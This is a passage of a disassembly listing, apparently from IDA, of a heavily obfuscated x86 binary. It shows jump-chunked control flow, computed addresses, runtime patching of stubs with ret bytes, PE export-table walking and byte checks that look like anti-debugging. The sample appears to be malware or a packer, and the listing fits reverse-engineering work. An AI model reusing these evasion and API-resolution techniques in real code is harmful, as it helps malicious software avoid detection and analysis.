XREF: an.kk9rg:10013604j ; sub_1001D201-3E6p ; FUNCTION CHUNK AT 10019C4F SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx dec dword ptr [ebp-1Ch] jnz loc_10019F76 jmp loc_10019C4F sub_100141E3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100141F5 proc near ; CODE XREF: sub_1001498A+4p ; sub_100194EA-856p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 1001587C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A9FA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001C997 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 1001DB5A SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h jmp loc_1001DB5A sub_100141F5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10014200: ; CODE XREF: sub_10019409:loc_10013766j jz loc_100154EC jmp loc_1001CDBD ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_1001420B: ; CODE XREF: sub_1001B5A3-2D98j jz loc_100151C6 jmp loc_100132F1 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- xor edx, esi jmp loc_100152B3 ; --------------------------------------------------------------------------- loc_1001421D: ; DATA XREF: sub_100193F2:loc_1001CAE7o jmp loc_1001C94C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_10014222: ; CODE XREF: sub_100193F2-1172j ; sub_100188EE:loc_1001D2CAj xchg eax, [esp+0] mov ecx, eax pop eax xchg esi, [esp-4+arg_0] mov ebp, esi pop esi retn ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_1001422F: ; CODE XREF: sub_100142E8+16Fj jmp loc_1001B540 ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_10014234: ; CODE XREF: sub_10017BF9+2B4Dj mov ebx, [ebp+0] ror eax, 5 loc_1001423A: ; CODE XREF: sub_10017BF9:loc_1001D481j push 85A1889Ch pop eax rol eax, 1 add eax, 3A26385Bh jmp loc_1001A769 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_1001424D: ; CODE XREF: sub_100145ED:loc_10016E5Fj jnz loc_100165B2 jmp loc_10019569 ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_10014258: ; CODE XREF: sub_1001C28F:loc_10018D15j pushf push 4CDF0D34h pop eax or eax, 4489EE81h sub eax, 0BF1DA8B7h add eax, 0F8F4A428h or eax, 7F9C4DBBh add eax, 104250E2h jmp loc_1001C3F2 ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10014282: ; CODE XREF: sub_1001C2D8-7D3Bj xchg eax, edx cmp ecx, esi jmp loc_10015E68 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_1001428B: ; CODE XREF: sub_100174F4:loc_1001969Fj sub eax, 39AAE0B4h push offset loc_100191DD jmp nullsub_46 ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- loc_1001429B: ; CODE XREF: an.kk9rg:1001CDA8j jnp loc_10019220 not esi jmp loc_10015D47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100142A8: ; CODE XREF: sub_1001A97E:loc_100166D8j jl loc_10018F4D loc_100142AE: ; CODE XREF: sub_100194EA+2165j jmp nullsub_78 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- xchg edx, esi jmp loc_10018F4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100142BA: ; CODE XREF: sub_10013389+3400j ror edx, 0Bh popf loc_100142BE: ; CODE XREF: sub_10013389:loc_1001347Ej push 5D4435C9h pop eax add eax, 6D2CC3A2h jmp loc_1001CEBD ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_100142CF proc near ; DATA XREF: sub_10015190+46E0o ; FUNCTION CHUNK AT 10014BC8 SIZE 0000000A BYTES xor [ebp-0Ah], al inc dword ptr [ebp-8] inc dword ptr [ebp-4] jmp loc_10014BC8 sub_100142CF endp ; =============== S U B R O U T I N E ======================================= sub_100142DD proc near ; CODE XREF: sub_1001558A:loc_10014BC0p mov eax, 22h retn sub_100142DD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100142E3: ; CODE XREF: sub_1001A97E-29A3j jmp loc_1001B510 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; =============== S U B R O U T I N E ======================================= sub_100142E8 proc near ; CODE XREF: sub_100180C2-1D12p ; sub_10016FA0+4p ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013734 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001422F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014354 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10014448 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10015B2A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10017A6E SIZE 00000025 BYTES ; FUNCTION CHUNK AT 10018828 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100188BA SIZE 00000004 BYTES ; FUNCTION CHUNK AT 10019158 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019631 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019A0E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A6E1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001ABBF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001B540 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B76C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D6F4 SIZE 0000000E BYTES call sub_1001DC8F loc_100142ED: ; CODE XREF: an.kk9rg:10018BF6j jmp loc_10019158 sub_100142E8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_100142F2: ; CODE XREF: an.kk9rg:10015940j rol eax, 10h ; =============== S U B R O U T I N E ======================================= sub_100142F5 proc near ; CODE XREF: sub_100146AF+Ep xchg esi, [esp+0] pop esi lea eax, [ebp-34h] push offset loc_1001BB13 jmp nullsub_213 sub_100142F5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018ABA loc_10014306: ; CODE XREF: sub_10018ABA:loc_1001B9F9j jnz locret_10014311 loc_1001430C: ; CODE XREF: sub_10018ABA+6j call sub_10014317 locret_10014311: ; CODE XREF: sub_10018ABA:loc_10014306j retn ; END OF FUNCTION CHUNK FOR sub_10018ABA ; --------------------------------------------------------------------------- loc_10014312: ; CODE XREF: an.kk9rg:10018128j jmp loc_1001AFF9 ; =============== S U B R O U T I N E ======================================= sub_10014317 proc near ; CODE XREF: sub_10018ABA:loc_1001430Cp var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001885C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001B4B4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001C6DD SIZE 0000000A BYTES push ebx jmp loc_1001885C sub_10014317 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001431D: ; CODE XREF: sub_10013389+3E51j add edi, esi and esi, 2E30A390h loc_10014325: ; CODE XREF: sub_10013389:loc_1001D5ECj call sub_10019C87 loc_1001432A: ; CODE XREF: sub_100189D7-1032j jmp loc_1001DE81 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001357E loc_1001432F: ; CODE XREF: sub_1001357E+15j jmp nullsub_200 ; END OF FUNCTION CHUNK FOR sub_1001357E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_10014334: ; CODE XREF: sub_1001D461-67F5j jnz loc_1001BB62 jmp loc_10017294 ; END OF FUNCTION CHUNK FOR sub_1001D461 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001433F: ; CODE XREF: sub_1001C535+3BEj jnz loc_1001B8D7 loc_10014345: ; CODE XREF: sub_10019473:loc_10014EE6j ; sub_10013389+1D53j ... call sub_1001B8D3 loc_1001434A: ; CODE XREF: sub_1001AE1D-963j jmp loc_10017437 ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- loc_1001434F: ; CODE XREF: an.kk9rg:100198CCj jmp loc_10014FEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10014354: ; CODE XREF: sub_100142E8:loc_10017A6Ej inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_1001BCAC[eax*4] mov [ebp-8], eax ; END OF FUNCTION CHUNK FOR sub_100142E8 ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10014364: ; CODE XREF: sub_10015B5D:loc_1001C484j cmp dword ptr [ebp-8], 0 jz loc_10013161 loc_1001436E: ; CODE XREF: sub_10013150+Bj ; sub_100142E8+37A6j jnz loc_1001D86E jmp loc_10017866 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- loc_10014379: ; CODE XREF: an.kk9rg:100135C9j shl ecx, 1 sub esi, eax ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001437D: ; CODE XREF: sub_10018066:loc_100135B0j xor eax, 30A948B7h add eax, ebp add eax, 3AAF5C3Ch mov eax, [eax] popf mov al, [eax] jmp loc_10014443 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B81 loc_10014395: ; CODE XREF: sub_10016B81+Cj pop eax add eax, ds:100000C7h rol eax, 3 xor eax, 9B2E9632h add eax, ebp add eax, 7E3BE4Eh call sub_1001985B loc_100143B2: ; CODE XREF: an.kk9rg:1001D828j jmp loc_100172C9 ; END OF FUNCTION CHUNK FOR sub_10016B81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_100143B7: ; CODE XREF: sub_1001893F-1C02j ; an.kk9rg:loc_100172FEj add edi, ebx loc_100143B9: ; CODE XREF: an.kk9rg:loc_1001600Fj push esi push 0EA60F43h pop esi add esi, 9686F5B2h or esi, 2BA4F6AAh sub esi, 0F6861093h jmp loc_10014EF1 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C67F loc_100143D7: ; CODE XREF: sub_1001C67F:loc_100159BBj jnz loc_100162AD jmp loc_1001B11A ; END OF FUNCTION CHUNK FOR sub_1001C67F ; --------------------------------------------------------------------------- shr eax, 19h jmp sub_1001DD1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_100143EA: ; CODE XREF: sub_1001C6B0:loc_100168EAj jz loc_1001C484 jmp loc_1001475E ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; =============== S U B R O U T I N E ======================================= sub_100143F5 proc near ; DATA XREF: sub_10013389:loc_10013550o ; FUNCTION CHUNK AT 10019FCE SIZE 00000005 BYTES lea eax, nullsub_76 mov byte ptr [eax], 0C3h jmp loc_10019FCE sub_100143F5 endp ; --------------------------------------------------------------------------- call nullsub_196 jmp ds:dword_10002020 ; --------------------------------------------------------------------------- loc_1001440E: ; CODE XREF: an.kk9rg:1001A11Ej jmp loc_10015CCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_10014413: ; CODE XREF: sub_100188EE-215Aj jmp loc_10017850 ; END OF FUNCTION CHUNK FOR sub_100188EE ; =============== S U B R O U T I N E ======================================= sub_10014418 proc near ; DATA XREF: sub_10014CCE:loc_1001CCA7o ; FUNCTION CHUNK AT 1001DEA3 SIZE 00000005 BYTES mov [ebp-8], eax mov eax, [ebp+8] push offset sub_1001D4C9 jmp loc_1001DEA3 sub_10014418 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10014428: ; CODE XREF: sub_1001ABFD:loc_1001AC9Bj push esi adc ebx, ebp cmp esi, ebp jmp loc_10018EF8 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_207. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_10018F97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100179FF loc_10014439: ; CODE XREF: sub_100179FF:loc_10016E7Bj sub al, 99h mov edx, [ebp-4] call sub_100189D7 ; END OF FUNCTION CHUNK FOR sub_100179FF ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10014443: ; CODE XREF: sub_10018066-3CD6j jmp loc_100139F6 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10014448: ; CODE XREF: sub_100142E8+748Aj ror eax, 14h loc_1001444B: ; CODE XREF: sub_100142E8:loc_10019158j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10013734 jmp loc_1001422F ; END OF FUNCTION CHUNK FOR sub_100142E8 ; =============== S U B R O U T I N E ======================================= sub_1001445C proc near ; DATA XREF: an.kk9rg:10014EB5o call sub_10018A1E sub_1001445C endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10014461: ; CODE XREF: an.kk9rg:10013866j ; sub_10018066+5566j xchg eax, [esp+0] mov edx, eax call sub_1001A365 loc_1001446B: ; CODE XREF: an.kk9rg:10014D36j jmp loc_100135B0 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A606 loc_10014470: ; CODE XREF: sub_1001A606:loc_10015BF7j jnz loc_1001DA88 jmp loc_10019DA1 ; END OF FUNCTION CHUNK FOR sub_1001A606 ; --------------------------------------------------------------------------- shl edx, 9 jmp sub_1001C27D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100189D7 loc_10014483: ; CODE XREF: sub_100189D7+8j jz loc_100169A1 jmp loc_10016DFD ; END OF FUNCTION CHUNK FOR sub_100189D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_1001448E: ; CODE XREF: sub_1001767A:loc_100170F1j ; sub_10015CBE+7348j push 91157DA2h pop eax add eax, 8CC06B3Dh and eax, 46D840EDh xor eax, 0AAF54144h add eax, ebp add eax, 51DAFE73h mov eax, [eax] jmp loc_10018D39 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- loc_100144B5: ; DATA XREF: sub_1001C6B0-8151o cmp byte ptr [eax], 0EBh call sub_1001CB61 ; START OF FUNCTION CHUNK FOR sub_10017394 loc_100144BD: ; CODE XREF: sub_10017394+5BEEj jnp loc_10016B96 cmp edi, ebp jmp loc_1001618E ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BC80 loc_100144CA: ; CODE XREF: sub_1001BC80-3870j jz loc_100176A0 jmp loc_1001DD57 ; END OF FUNCTION CHUNK FOR sub_1001BC80 ; --------------------------------------------------------------------------- loc_100144D5: ; CODE XREF: an.kk9rg:10015216j jnp loc_100188BC mov ecx, ebx loc_100144DD: ; CODE XREF: an.kk9rg:loc_1001C1A1j push 722F1F24h pop eax jmp loc_1001B30B ; --------------------------------------------------------------------------- mov ebp, [ecx] jmp sub_10019BB6 ; --------------------------------------------------------------------------- db 0Fh dd 6F588Ah db 0 ; =============== S U B R O U T I N E ======================================= sub_100144F5 proc near ; CODE XREF: sub_10015995+4C27p ; FUNCTION CHUNK AT 10013B30 SIZE 00000017 BYTES xchg ecx, [esp+0] pop ecx mov [ebp-24h], eax jmp loc_10013B30 sub_100144F5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_10014501: ; CODE XREF: sub_1001CF40:loc_100199CDj add eax, ebp add eax, 0F68B7EA9h mov eax, [eax] cmp byte ptr [eax], 0F1h jmp loc_1001D857 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- db 33h dd 38A0FC5h, 0E9000050h, 0FFFFF1B7h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_10014520: ; CODE XREF: sub_10017394+6A8Ej xchg ebp, [esp+0] ror eax, 17h mov ds:dword_10018614, eax retn ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- loc_1001452D: ; CODE XREF: an.kk9rg:1001D2EFj jmp locret_1001DF11 ; --------------------------------------------------------------------------- loc_10014532: ; CODE XREF: an.kk9rg:10016D1Aj jmp sub_10018CA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100173FA loc_10014537: ; CODE XREF: sub_100173FAj push esi push ebp pop esi jmp loc_1001D1A7 ; END OF FUNCTION CHUNK FOR sub_100173FA ; =============== S U B R O U T I N E ======================================= sub_1001453F proc near ; DATA XREF: sub_10013688+9692o push 8B1B5935h pop esi rol esi, 1Fh add esi, 4A73F7AFh xchg esi, [esp+0] jmp sub_10015BA9 sub_1001453F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_10014556: ; CODE XREF: sub_1001C6B0+16j jz loc_1001A630 mov eax, [ebp-4] push offset loc_100144B5 jmp nullsub_110 ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- locret_10014569: ; CODE XREF: an.kk9rg:1001990Cj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019771 loc_1001456A: ; CODE XREF: sub_10019771+Aj jmp nullsub_47 ; END OF FUNCTION CHUNK FOR sub_10019771 ; =============== S U B R O U T I N E ======================================= sub_1001456F proc near ; DATA XREF: sub_10017BF9+2C87o ; FUNCTION CHUNK AT 10014AE9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014EEC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100150D9 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 1001562B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015D94 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016DEC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100183D0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10019584 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001ADF8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001AE64 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001C8AB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001CFCF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DF17 SIZE 00000008 BYTES add edx, 0FB1E8362h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_1001CFCF sub_1001456F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10014580: ; CODE XREF: sub_10016167+6782j jo loc_100152D7 jmp loc_1001AD36 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018352 loc_1001458B: ; CODE XREF: sub_10018352+9j push offset loc_1001B28F jmp nullsub_35 ; END OF FUNCTION CHUNK FOR sub_10018352 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10014595: ; CODE XREF: sub_1001C2D8-3D14j not edx sbb eax, 0CB70EA56h jmp loc_10014282 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- loc_100145A2: ; CODE XREF: an.kk9rg:1001CDC8j test eax, 94072C40h jmp loc_1001CA60 ; --------------------------------------------------------------------------- jz sub_10017667 jmp loc_1001A8DB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_100145B9 proc near ; DATA XREF: sub_1001CB61+Ao ; FUNCTION CHUNK AT 100147DB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10014C53 SIZE 00000005 BYTES mov eax, [ebp-4] mov al, [eax] and al, 0F6h cmp al, 0C2h jz loc_1001A630 jmp loc_10014C53 sub_100145B9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100145CD: ; CODE XREF: sub_10013389+AAFAj jnp loc_10017DCD jns loc_10017AC7 jmp loc_100169A1 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100179FF loc_100145DE: ; CODE XREF: sub_100179FF+Aj call sub_1001691F loc_100145E3: ; CODE XREF: sub_1001DC70+Fj jmp loc_10015EA3 ; END OF FUNCTION CHUNK FOR sub_100179FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_100145E8: ; CODE XREF: sub_10018C76-2C3Fj jmp loc_100163FA ; END OF FUNCTION CHUNK FOR sub_10018C76 ; =============== S U B R O U T I N E ======================================= sub_100145ED proc near ; CODE XREF: an.kk9rg:loc_10017DD8p ; an.kk9rg:1001B7C0j ; FUNCTION CHUNK AT 100136BD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001424D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014B80 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015C3D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016BB1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10016E5F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017695 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019569 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10019ACA SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10019EF6 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001CDCE SIZE 0000000D BYTES xchg esi, [esp+0] pop esi mov al, [eax] jno loc_10016BB1 sub al, 99h jmp loc_10019ACA sub_100145ED endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10014600: ; CODE XREF: sub_10013389+8456j xchg edi, edx jmp loc_10017912 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- push eax ror eax, 5 mov ds:dword_100185EC, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014E66 loc_10014612: ; CODE XREF: sub_10014E66:loc_1001A94Cj rol eax, 5 push edi loc_10014616: ; CODE XREF: sub_10016451:loc_100186A2j mov edi, eax xchg edi, [esp+4+var_4] jmp loc_1001DD40 ; END OF FUNCTION CHUNK FOR sub_10014E66 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_177. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- adc esi, ebp jmp sub_10018628 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10014629: ; CODE XREF: an.kk9rg:1001DF27j jmp loc_100190B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014A06 loc_1001462E: ; CODE XREF: sub_10014A06:loc_10016110j pop eax sub eax, 6BC2E769h and eax, 4D4356C7h add eax, 0CFC0674Bh mov eax, [eax] jmp loc_100179AA ; END OF FUNCTION CHUNK FOR sub_10014A06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015EBE loc_10014648: ; CODE XREF: sub_10015EBE+Dj add ecx, 0FCFCF3Ch ; END OF FUNCTION CHUNK FOR sub_10015EBE ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001464E: ; CODE XREF: sub_10013389+451Bj call sub_1001AA64 loc_10014653: ; CODE XREF: an.kk9rg:100165D9j jmp loc_1001AD9F ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10014658: ; CODE XREF: sub_10019595+5j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] call sub_1001C535 ; END OF FUNCTION CHUNK FOR sub_10019595 ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_10014664: ; CODE XREF: sub_1001BBDA+1A2Aj jmp loc_1001B3AD ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A024 loc_10014669: ; CODE XREF: sub_1001A024+8j jmp loc_10016C1C ; END OF FUNCTION CHUNK FOR sub_1001A024 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001466E: ; CODE XREF: sub_10016D66+22j jbe loc_10014B24 mov ebp, 0B9896F57h jmp loc_10017E6B ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_1001467E: ; CODE XREF: sub_100175DE+1B8Aj xchg edi, [ebp+0] or ebp, edx push 0EAEA1573h jno loc_1001AA30 ; END OF FUNCTION CHUNK FOR sub_100175DE ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001468E: ; CODE XREF: an.kk9rg:10013039j ; sub_10016D66-3B5Aj ... jmp loc_10018299 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- jmp loc_1001B493 ; =============== S U B R O U T I N E ======================================= sub_10014698 proc near ; CODE XREF: sub_1001D089j ; DATA XREF: sub_1001D076:loc_1001D07Fo ; FUNCTION CHUNK AT 1001371A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B085 SIZE 00000011 BYTES jns loc_1001B085 mov ecx, [ebx+3Ch] sub_10014698 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_100188EE loc_100146A1: ; CODE XREF: sub_100188EE:loc_1001CAE1j mov ecx, [ebx+ecx+78h] push offset sub_10017A34 jmp loc_1001313E ; END OF FUNCTION CHUNK FOR sub_100188EE ; =============== S U B R O U T I N E ======================================= sub_100146AF proc near ; DATA XREF: an.kk9rg:10018F9Co lea eax, nullsub_12 mov byte ptr [eax], 0C3h mov [ebp-4], eax push 1Ch call sub_100142F5 sub_100146AF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_100146C2: ; CODE XREF: sub_100193F2-5AFAj jmp loc_1001D90D ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_100146C7: ; CODE XREF: sub_100181E1:loc_10017EEEj jz loc_1001ABE3 jmp loc_10015DE7 ; END OF FUNCTION CHUNK FOR sub_100181E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B010 loc_100146D2: ; CODE XREF: sub_1001B010+1j push offset sub_100150E1 jmp loc_10016246 ; END OF FUNCTION CHUNK FOR sub_1001B010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100146DC: ; CODE XREF: sub_10013389:loc_1001B352j mov esp, ebp call sub_10019886 ; END OF FUNCTION CHUNK FOR sub_10013389 ; START OF FUNCTION CHUNK FOR sub_10016167 loc_100146E3: ; CODE XREF: sub_10016167+8j jmp loc_10018664 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100146E8: ; CODE XREF: sub_10019409:loc_100166CDj mov al, [eax] jnb loc_100135EB sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_100132DD jmp loc_1001965D ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10014704: ; CODE XREF: sub_10016D66:loc_10018299j rol ebp, 5 cmp edi, 9BAFDDDBh jmp loc_1001868F ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- mov esi, [eax] jmp sub_10013688 ; --------------------------------------------------------------------------- loc_10014719: ; DATA XREF: an.kk9rg:10019A2Eo mov eax, [esp] push esi ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001471D: ; CODE XREF: sub_1001492C:loc_10013967j mov esi, edx call sub_1001D5AF ; END OF FUNCTION CHUNK FOR sub_1001492C ; START OF FUNCTION CHUNK FOR sub_1001B935 loc_10014724: ; CODE XREF: sub_1001B935+9j jmp loc_100183A6 ; END OF FUNCTION CHUNK FOR sub_1001B935 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10014729: ; CODE XREF: sub_1001564A+3948j jmp loc_100155DF ; END OF 